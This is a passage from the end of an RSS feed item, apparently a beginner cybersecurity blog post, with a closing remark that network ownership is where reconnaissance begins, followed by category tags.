&lt;p&gt;Ask a better question:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Who owns the network behind it?&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;That's where the real reconnaissance begins.&lt;/p&gt;




</description>
      <category>cybersecurity</category>
      <category>ethicaljacking</category>
      <category>learning</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
